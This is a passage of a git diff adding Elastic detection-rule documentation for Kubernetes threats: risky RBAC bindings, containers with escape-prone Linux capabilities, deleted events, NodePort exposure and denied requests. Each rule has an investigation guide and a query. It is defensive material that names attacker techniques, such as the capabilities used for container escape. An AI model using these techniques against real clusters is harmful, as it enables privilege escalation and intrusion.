broad maintenance tasks (e.g., installing cluster-scoped resources), and the binding creation is captured during the allowed change window. + + +*Response and remediation* + + +- Immediately identify and delete or edit the newly created RoleBinding/ClusterRoleBinding granting `cluster-admin`, then revoke the bound subject’s access by rotating the affected service account token or disabling the implicated user/identity provider account. +- Quarantine likely-abused workloads by scaling down or deleting pods/deployments created by the newly privileged subject and blocking its network access with namespace isolation policies while you preserve relevant audit logs and YAML manifests. +- Enumerate and undo follow-on changes made after the binding creation, including additional RBAC grants, new cluster-scoped resources (CRDs, webhooks), privileged DaemonSets, secret reads, or changes to admission controllers, and rotate any exposed credentials found in Secrets. +- Recover by restoring RBAC and critical cluster resources from GitOps or known-good backups, then re-apply least-privilege roles and validate access with `kubectl auth can-i` for impacted identities and namespaces. +- Escalate to incident response leadership immediately if the binding targets a service account, an external identity not in the admin group, or if there is evidence of secret access, privileged workload creation, or persistence mechanisms (e.g., new webhooks or DaemonSets). +- Harden by enforcing RBAC via GitOps-only change control, restricting `cluster-admin` binding creation with admission policy (ValidatingAdmissionPolicy/Kyverno/OPA Gatekeeper), requiring MFA and short-lived tokens for admins, and alerting on any creation or modification of cluster-wide RBAC bindings. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "kubernetes.audit_logs" and kubernetes.audit.objectRef.resource:("clusterrolebindings" or "rolebindings") and +kubernetes.audit.verb:"create" and kubernetes.audit.requestObject.roleRef.name:"cluster-admin" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.level:"RequestResponse" and kubernetes.audit.stage:"ResponseComplete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc new file mode 100644 index 0000000000..8d59314a30 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-container-created-with-excessive-linux-capabilities.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-21-kubernetes-container-created-with-excessive-linux-capabilities]] +=== Kubernetes Container Created with Excessive Linux Capabilities + +This rule detects a container deployed with one or more dangerously permissive Linux capabilities. An attacker with the ability to deploy a container with added capabilities could use this for further execution, lateral movement, or privilege escalation within a cluster. The capabilities detected in this rule have been used in container escapes to the host machine. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container +* https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities +* https://man7.org/linux/man-pages/man7/capabilities.7.html +* https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Container Created with Excessive Linux Capabilities* + + +Linux capabilities were designed to divide root privileges into smaller units. Each capability grants a thread just enough power to perform specific privileged tasks. In Kubernetes, containers are given a set of default capabilities that can be dropped or added to at the time of creation. Added capabilities entitle containers in a pod with additional privileges that can be used to change +core processes, change network settings of a cluster, or directly access the underlying host. The following have been used in container escape techniques: + +BPF - Allow creating BPF maps, loading BPF Type Format (BTF) data, retrieve JITed code of BPF programs, and more. +DAC_READ_SEARCH - Bypass file read permission checks and directory read and execute permission checks. +NET_ADMIN - Perform various network-related operations. +SYS_ADMIN - Perform a range of system administration operations. +SYS_BOOT - Use reboot(2) and kexec_load(2), reboot and load a new kernel for later execution. +SYS_MODULE - Load and unload kernel modules. +SYS_PTRACE - Trace arbitrary processes using ptrace(2). +SYS_RAWIO - Perform I/O port operations (iopl(2) and ioperm(2)). +SYSLOG - Perform privileged syslog(2) operations. + + +*False positive analysis* + + +- While these capabilities are not included by default in containers, some legitimate images may need to add them. This rule leaves space for the exception of trusted container images. To add an exception, add the trusted container image name to the query field, kubernetes.audit.requestObject.spec.containers.image. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb: create and kubernetes.audit.objectRef.resource: pods and +kubernetes.audit.requestObject.spec.containers.securityContext.capabilities.add: ("BPF" or "DAC_READ_SEARCH" or "NET_ADMIN" or "SYS_ADMIN" or "SYS_BOOT" or "SYS_MODULE" or "SYS_PTRACE" or "SYS_RAWIO" or "SYSLOG") and +not ( + kubernetes.audit.requestObject.spec.containers.image : (docker.elastic.co/beats/elastic-agent* or rancher/klipper-lb* or "") or + kubernetes.audit.objectRef.namespace:"kube-system" or + (kubernetes.audit.objectRef.namespace:datadog and kubernetes.audit.requestObject.spec.containers.image:*datadog-agent*) or + (kubernetes.audit.objectRef.namespace:kubearmor and kubernetes.audit.requestObject.spec.containers.image:(*kubearmor\:kubearmor* or kubearmor/kubearmor-snitch*)) or + (kubernetes.audit.objectRef.namespace:defender and kubernetes.audit.requestObject.spec.containers.image:*fp-prisma\:defender-defender*) or + (kubernetes.audit.objectRef.namespace:metallb-system and kubernetes.audit.requestObject.spec.containers.image:(quay.io/frrouting* or quay.io/metallb/speaker*)) or + (kubernetes.audit.objectRef.namespace:longhorn-system and kubernetes.audit.requestObject.spec.containers.image:rancher/mirrored-longhornio*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc new file mode 100644 index 0000000000..96f6f08abd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-kubernetes-creation-of-a-rolebinding-referencing-a-serviceaccount]] +=== Kubernetes Creation of a RoleBinding Referencing a ServiceAccount + +This rule detects the creation of RoleBindings or ClusterRoleBindings that reference a ServiceAccount, which may indicate privilege delegation or potential RBAC misconfiguration leading to elevated access. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#overly-permissive-role-based-access-control + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Creation of a RoleBinding Referencing a ServiceAccount* + + +This rule detects creation of a RoleBinding or ClusterRoleBinding that grants permissions to a ServiceAccount, a common way to delegate access inside the cluster and a frequent precursor to stealthy privilege escalation or persistence. Attackers who gain the ability to create bindings often attach an over-privileged role (or cluster-wide role) to an existing ServiceAccount used by a workload, then use that workload’s token to operate with elevated rights without creating new user identities. + + +*Possible investigation steps* + + +- Identify the principal that created the binding (user/service account), along with the source IP, user-agent, and authentication method, to determine whether it originated from an expected controller, CI/CD system, or a suspicious client. +- Review the new RoleBinding/ClusterRoleBinding’s `roleRef` and subjects to determine what permissions were granted, and assess blast radius by inspecting the referenced Role/ClusterRole rules for high-impact verbs/resources (e.g., secrets, pods/exec, nodes, RBAC). +- Determine where the referenced ServiceAccount is used by enumerating pods/deployments in the namespace that run under it, checking whether service account tokens are mounted, and whether this SA is associated with privileged workloads or externally reachable services. +- Correlate nearby audit activity for additional RBAC or identity changes (new roles, bindings, service accounts, token requests) and for follow-on actions performed using the ServiceAccount that indicate attempted privilege escalation or persistence. +- Validate the change against approved deployment/change records and, if unauthorized or overly permissive, remove/roll back the binding and rotate or invalidate the ServiceAccount credentials while tightening RBAC to least privilege. + + +*False positive analysis* + + +- A cluster administrator or GitOps-driven deployment legitimately creates or updates RoleBindings/ClusterRoleBindings to grant a workload ServiceAccount the minimal permissions required for a new release, namespace onboarding, or routine RBAC refactoring. +- Kubernetes controllers or automation running under authorized identities (e.g., internal operators, admission policies, or namespace provisioning jobs) create bindings for default or system ServiceAccounts as part of standard cluster bootstrap, reconciliation, or multi-tenant namespace setup. + + +*Response and remediation* + + +- Immediately fetch and snapshot the created RoleBinding/ClusterRoleBinding manifest, its referenced Role/ClusterRole, and recent Kubernetes audit events around the creator and the ServiceAccount to preserve evidence and establish scope. +- Contain potential misuse by deleting or scaling down workloads that use the referenced ServiceAccount and temporarily revoking the new binding (or applying an emergency deny policy via admission controls) until the change is validated. +- Eradicate unauthorized privilege delegation by removing the binding, replacing it with a least-privilege Role/RoleBinding scoped to the required namespace/resources, and rotating credentials by recreating the ServiceAccount or forcing token/key rotation for any dependent workloads. +- Recover safely by redeploying affected applications with the corrected RBAC, validating that required operations succeed without cluster-admin-equivalent rights, and monitoring for repeated binding creation or follow-on access to secrets, pod exec, or node-level resources. +- Escalate to platform security/incident response immediately if the binding references a high-privilege ClusterRole (e.g., cluster-admin), targets a broadly used ServiceAccount, or is followed by suspicious actions such as secret reads, new token requests, or pod exec sessions from the same identity. +- Harden by enforcing RBAC guardrails with admission policies that restrict who can create RoleBindings/ClusterRoleBindings and which roles may be referenced, disabling auto-mounting of service account tokens where not needed, and adopting GitOps-only RBAC changes with mandatory review. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "kubernetes.audit_logs" and kubernetes.audit.requestObject.spec.serviceAccountName:* and +kubernetes.audit.verb:"create" and kubernetes.audit.objectRef.resource:("rolebindings" or "clusterrolebindings") and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-denied-service-account-request-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-denied-service-account-request-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..f7d8447ce4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-denied-service-account-request-via-unusual-user-agent.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-21-kubernetes-denied-service-account-request-via-unusual-user-agent]] +=== Kubernetes Denied Service Account Request via Unusual User Agent + +This rule detects when a service account makes an unauthorized request for resources from the API server via an unusual user agent. Service accounts follow a very predictable pattern of behavior. A service account should never send an unauthorized request to the API server. This behavior is likely an indicator of compromise or of a problem within the cluster. An adversary may have gained access to credentials/tokens and this could be an attempt to access or create resources to facilitate further movement or execution within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#service-account-tokens + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Denied Service Account Request via Unusual User Agent* + + +Kubernetes service accounts are integral for managing pod permissions and accessing the API server. They typically follow strict access patterns. Adversaries may exploit compromised service account credentials to probe or manipulate cluster resources, potentially leading to unauthorized access or lateral movement. The detection rule identifies anomalies by flagging unauthorized API requests from service accounts, signaling possible security breaches or misconfigurations. + + +*Possible investigation steps* + + +- Review the specific service account involved in the unauthorized request by examining the kubernetes.audit.user.username field to determine which service account was used. +- Analyze the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm the request was indeed forbidden and identify the nature of the denied request. +- Investigate the source of the request by checking the originating pod or node to understand where the unauthorized request was initiated. +- Examine recent activity logs for the service account to identify any unusual patterns or deviations from its typical behavior. +- Check for any recent changes or deployments in the cluster that might have affected service account permissions or configurations. +- Assess whether there have been any recent security incidents or alerts related to the cluster that could be connected to this unauthorized request. + + +*False positive analysis* + + +- Service accounts used for testing or development may generate unauthorized requests if they are not properly configured. Regularly review and update permissions for these accounts to ensure they align with their intended use. +- Automated scripts or tools that interact with the Kubernetes API might trigger false positives if they use service accounts with insufficient permissions. Ensure these tools have the necessary permissions or adjust the detection rule to exclude known benign activities. +- Misconfigured role-based access control (RBAC) settings can lead to legitimate service accounts being denied access. Conduct periodic audits of RBAC policies to verify that service accounts have appropriate permissions. +- Temporary service accounts created for specific tasks might not have the correct permissions, leading to denied requests. Consider excluding these accounts from the rule if they are known to perform non-threatening activities. +- Service accounts from third-party integrations or plugins may not have the required permissions, resulting in false positives. Validate the permissions needed for these integrations and adjust the rule to exclude their expected behavior. + + +*Response and remediation* + + +- Immediately isolate the affected service account by revoking its access tokens and credentials to prevent further unauthorized API requests. +- Conduct a thorough review of the audit logs to identify any other suspicious activities or unauthorized access attempts associated with the compromised service account. +- Rotate credentials for the affected service account and any other potentially impacted accounts to mitigate the risk of further exploitation. +- Assess and remediate any misconfigurations in role-based access control (RBAC) policies that may have allowed the unauthorized request, ensuring that service accounts have the minimum necessary permissions. +- Escalate the incident to the security operations team for further investigation and to determine if additional containment measures are required. +- Implement enhanced monitoring and alerting for similar unauthorized access attempts to improve detection and response times for future incidents. +- Review and update incident response plans to incorporate lessons learned from this event, ensuring readiness for similar threats in the future. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.user.username:system\:serviceaccount\:* and +kubernetes.audit.annotations.authorization_k8s_io/decision:"forbid" and +user_agent.original:(* and not (*kubernetes/$Format or karpenter or csi-secrets-store* or OpenAPI-Generator* or Prometheus* or dashboard* or cilium-agent*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..8c06b16ceb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-events-deleted.asciidoc @@ -0,0 +1,110 @@ +[[prebuilt-rule-8-19-21-kubernetes-events-deleted]] +=== Kubernetes Events Deleted + +This rule detects the deletion of Kubernetes events, which can indicate an attempt to cover up malicious activity or misconfigurations. Adversaries may delete events to remove traces of their actions, making it harder for defenders to investigate and respond to incidents. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Events Deleted* + +Kubernetes, a container orchestration platform, logs events to track activities within the cluster. These events are crucial for monitoring and troubleshooting. Adversaries may delete these logs to hide their tracks, impeding incident response. The detection rule identifies deletions of Kubernetes events, signaling potential defense evasion attempts by matching specific audit log attributes, thus alerting security teams to investigate further. + + +*Possible investigation steps* + + +- Review the audit logs to identify the source of the deletion request by examining the `kubernetes.audit.user.username` field to determine which user or service account initiated the delete action. +- Check the `kubernetes.audit.sourceIPs` field to trace the IP address from which the deletion request originated, which can help identify potential unauthorized access. +- Investigate the `kubernetes.audit.objectRef.namespace` field to understand which namespace the deleted events belonged to, as this can provide context on the affected applications or services. +- Analyze the timeline of events leading up to the deletion by reviewing other audit logs with similar `kubernetes.audit.verb` values to identify any suspicious activities or patterns. +- Assess the role and permissions of the user or service account involved in the deletion to determine if they had legitimate access or if there was a potential privilege escalation. +- Cross-reference the deletion event with other security alerts or logs to identify any correlated activities that might indicate a broader attack or misconfiguration. + + +*False positive analysis* + + +- Routine maintenance activities may involve the deletion of Kubernetes events, such as during cluster upgrades or cleanup tasks. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or tools that manage Kubernetes resources might delete events as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by whitelisting their service accounts or IP addresses. +- Misconfigured applications or services might inadvertently delete events. Regularly review and update configurations to ensure they align with best practices, and consider excluding specific applications if they are known to cause benign deletions. +- Development and testing environments often have more frequent event deletions as part of iterative testing processes. Implement separate monitoring rules or thresholds for these environments to reduce noise in alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or tampering with event logs. +- Review and restore any deleted Kubernetes events from backup logs or snapshots to ensure a complete audit trail is available for further investigation. +- Conduct a thorough review of access controls and permissions within the Kubernetes environment to identify and revoke any unauthorized access that may have led to the deletion of events. +- Implement stricter logging and monitoring policies to ensure that any future deletions of Kubernetes events are detected and alerted in real-time. +- Escalate the incident to the security operations center (SOC) for a comprehensive analysis of potential breaches and to determine if additional systems or data were affected. +- Coordinate with the incident response team to conduct a root cause analysis and identify any vulnerabilities or misconfigurations that allowed the event deletion to occur. +- Update and reinforce security policies and procedures to prevent similar incidents, including enhancing detection capabilities for defense evasion tactics as outlined in MITRE ATT&CK. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb == "delete" and +kubernetes.audit.objectRef.resource == "events" and kubernetes.audit.stage == "ResponseComplete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-exposed-service-created-with-type-nodeport.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-exposed-service-created-with-type-nodeport.asciidoc new file mode 100644 index 0000000000..2a55be5023 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-exposed-service-created-with-type-nodeport.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-21-kubernetes-exposed-service-created-with-type-nodeport]] +=== Kubernetes Exposed Service Created With Type NodePort + +This rule detects an attempt to create or modify a service as type NodePort. The NodePort service allows a user to externally expose a set of labeled pods to the internet. This creates an open port on every worker node in the cluster that has a pod for that service. When external traffic is received on that open port, it directs it to the specific pod through the service representing it. A malicious user can configure a service as type Nodeport in order to intercept traffic from other pods or nodes, bypassing firewalls and other network security measures configured for load balancers within a cluster. This creates a direct method of communication between the cluster and the outside world, which could be used for more malicious behavior and certainly widens the attack surface of your cluster. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types +* https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport +* https://www.tigera.io/blog/new-vulnerability-exposes-kubernetes-to-man-in-the-middle-attacks-heres-how-to-mitigate/ + +*Tags*: + +* Data Source: Kubernetes +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Exposed Service Created With Type NodePort* + + +Kubernetes NodePort services enable external access to cluster pods by opening a port on each worker node. This can be exploited by attackers to bypass network security, intercept traffic, or establish unauthorized communication channels. The detection rule identifies suspicious NodePort service creation or modification by monitoring Kubernetes audit logs for specific actions and authorization decisions, helping to mitigate potential security risks. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service that was created or modified with the type NodePort. Focus on entries where kubernetes.audit.objectRef.resource is "services" and kubernetes.audit.verb is "create", "update", or "patch". +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed, ensuring that the service creation or modification was authorized. +- Identify the user or service account responsible for the action by examining the relevant fields in the audit logs, such as the user identity or service account name. +- Investigate the context of the NodePort service by reviewing the associated pods and their labels to understand what applications or services are being exposed externally. +- Assess the network security implications by determining if the NodePort service could potentially bypass existing firewalls or security controls, and evaluate the risk of unauthorized access or data interception. +- Verify if the NodePort service is necessary for legitimate business purposes or if it was created without proper justification, indicating potential malicious intent. + + +*False positive analysis* + + +- Routine service updates or deployments may trigger the rule if NodePort services are part of standard operations. To manage this, create exceptions for specific namespaces or service accounts that are known to perform these actions regularly. +- Development or testing environments often use NodePort services for ease of access. Exclude these environments from the rule by filtering based on labels or annotations that identify non-production clusters. +- Automated deployment tools or scripts that configure services as NodePort for legitimate reasons can cause false positives. Identify these tools and add their service accounts to an exception list to prevent unnecessary alerts. +- Internal services that require external access for legitimate business needs might be flagged. Document these services and apply exceptions based on their specific labels or annotations to avoid false alarms. +- Temporary configurations during incident response or troubleshooting might involve NodePort services. Ensure that these activities are logged and approved, and consider temporary exceptions during the incident resolution period. + + +*Response and remediation* + + +- Immediately isolate the affected NodePort service by removing or disabling it to prevent further unauthorized access or traffic interception. +- Review and revoke any unauthorized access or permissions granted to users or service accounts that created or modified the NodePort service. +- Conduct a thorough audit of network traffic logs to identify any suspicious or unauthorized external connections made through the NodePort service. +- Implement network segmentation and firewall rules to restrict external access to critical services and ensure that only necessary ports are exposed. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on the cluster's security posture. +- Apply security patches and updates to Kubernetes components and worker nodes to mitigate any known vulnerabilities that could be exploited. +- Enhance monitoring and alerting mechanisms to detect future unauthorized NodePort service creations or modifications promptly. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" + and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" + and kubernetes.audit.objectRef.resource:"services" + and kubernetes.audit.verb:("create" or "update" or "patch") + and kubernetes.audit.requestObject.spec.type:"NodePort" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-creation-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-creation-request.asciidoc new file mode 100644 index 0000000000..cf61380922 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-kubernetes-forbidden-creation-request.asciidoc @@ -0,0 +1,105 @@ +[[prebuilt-rule-8-19-21-kubernetes-forbidden-creation-request]] +=== Kubernetes Forbidden Creation Request + +This rule detects attempts to create resources in Kubernetes clusters that are forbidden by the authorization policy. It specifically looks for creation requests that are denied with a "forbid" decision, indicating that the user or service account does not have the necessary permissions to perform the action. This activity is commonly associated with adversaries attempting to create resources in a Kubernetes environment without proper authorization, which can lead to unauthorized access, manipulation of cluster resources, lateral movement and/or privilege escalation. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Forbidden Creation Request* + + +Kubernetes, a container orchestration platform, manages applications across clusters. It uses authorization policies to control resource creation. Adversaries may exploit misconfigurations or attempt unauthorized resource creation to gain access or escalate privileges. The detection rule identifies denied creation requests, signaling potential unauthorized attempts, by analyzing audit logs for forbidden decisions, aiding in threat detection and response. + + +*Possible investigation steps* + + +- Review the audit logs to identify the user or service account associated with the forbidden creation request by examining the `kubernetes.audit.user.username` field. +- Check the `kubernetes.audit.objectRef.resource` field to determine which specific resource type the unauthorized creation 